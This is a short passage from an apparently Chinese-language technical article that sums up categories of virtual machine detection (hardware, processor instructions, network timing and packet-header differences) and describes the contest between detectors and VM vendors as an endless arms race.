● 搜索虚拟环境中的特定虚拟硬件
● 搜索虚拟环境中的特定处理器指令和功能

因为现代计算系统大多是由文件系统,内存,处理器及各种硬件组件构成的,上面提到的四种检测手段均包含了这些因素。纵观前面各种检测方法,也均在此四类当中。除此之外,也有人提出通过网络来检测虚拟机,比如搜索ICMP和TCP数据通讯的时间差异,IP ID数据包差异以及数据包中的异常头信息等等。随着技术研究的深入,相信会有更多的检测手段出现,与此同时,虚拟机厂商也会不断进化它们的产品,以增加anti-vmware的难度,这不也正是一场永无休止的无烟战争!